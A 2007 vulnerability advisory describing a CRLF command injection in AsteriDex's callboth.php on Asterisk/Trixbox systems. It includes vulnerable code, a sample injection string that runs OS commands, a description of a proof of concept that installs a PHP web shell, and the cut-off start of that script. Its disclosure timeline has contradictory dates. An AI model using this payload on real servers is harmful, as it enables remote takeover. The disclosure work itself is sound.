Title: AsteriDex remote command execution
Vendor URL: http://bestof.nerdvittles.com/applications/asteridex/
Type: Command injection / remote code execution
versions: <= 3.0
Risk factor: High
Author: Carl Livitt
Date: 25th June, 2007
AsteriDex is a digital rolodex for Asterisk / Trixbox PBXs. There is a
command injection vulnerability which allows unauthenticated users to
execute arbitrary commands on the Asterisk management console. Such
access permits execution of arbitrary operating system commands as the
The software is vulnerable in its default configuration.
The script 'callboth.php' is used by AsteriDex to bridge a VOIP call
between two end-points. Insufficient parameter checking is done on the
variables IN and OUT, allowing a malicious user to inject arbitrary
commands into the Asterisk management console.
The script works by logging into the console server on port 5038/TCP
on localhost. It then issues an 'Action: Originate' command which is
used to setup the bridged call. The relevant code from callboth.php is:
fputs ($fp, "Action: login\r\n");
fputs ($fp, "Username: phpagi\r\n");
fputs ($fp, "Secret: phpagi\r\n");
fputs ($fp, "Events: off\r\n\r\n");
fputs ($fp, "Action: Originate\r\n");
fputs ($fp, "Channel: $IN\r\n"); << Command injection
fputs ($fp, "Context: custom-callboth\r\n");
fputs ($fp, "Exten: $OUT\r\n"); << Command injection
fputs ($fp, "Priority: 1\r\n\r\n");
$IN is set from $_GET['IN'] with no sanity checking other than a test of
string length; all strings passed to $IN must be less than 100 chars,
including the string 'sip/' which is prepended to $IN prior to the length
Given sane values of $IN=123, $out=321 and $CallerID=567, the session would
look like this:
By including CRLF characters in $IN, an attacker can inject arbitrary
commands into the data stream, hijacking the authenticated session to run
commands of the attackers choice. Take, for example, a $IN string containing:
email@example.com\r\nApplication: System\r\nData: echo pwn3d > /tmp/hoku.txt\r\n
This would transform the session into:
Data: echo pwn3d > /tmp/hoku.txt
This would use the call manager's 'System' functionality to execute user-
supplied operating system commands, in this case writing the word "pwn3d" to a
file called "/tmp/hoku.txt". The rest of the session would fail because the
attacker has subverted the original 'Action', rendering the remaining commands
meaningless to the manager.
A patched version of AsteriDex is available from:
06/25/2007 Vendor contacted.
06/03/2007 Vendor contacted again, response received.
Details sent to vendor.
06/03/2007 Patch issued and updated version available.
06/05/2007 Advisory released.
Our aim is to give you the business assurance that you require in order to
maintain a secure company infrastructure. With clients across the globe in the
UK and USA, we understand the threats posed to your business and provide best of
breed consulting and solutions to secure your interests and protect your bottom
Visit http://www.hoku.co.uk for more information and contact details.
A proof of concept is provided. It downloads PHPshell, installs it into the root
of the vulnerable Asterisk server's web directory and sets a username/password of
trixbox/trixbox. It obeys the 100 char max restriction.
## Begin exploit
echo Asteridex PoC Exploit (callboth.php vulnerability)
echo By Carl Livitt / Hoku Security / June 2007
# This has to be (a) a valid SIP address, and (b) must answer when dialled.
# The exploit will fail without these conditions being met.
# Currently uses the Melonite SIP echo test service.
# Magic number, don't change. The default installation of AsteriDex checks
# for this number and fails without it.
# Other stuff we need
if [ "$1X" == "X" ]; then
echo Syntax: $0 \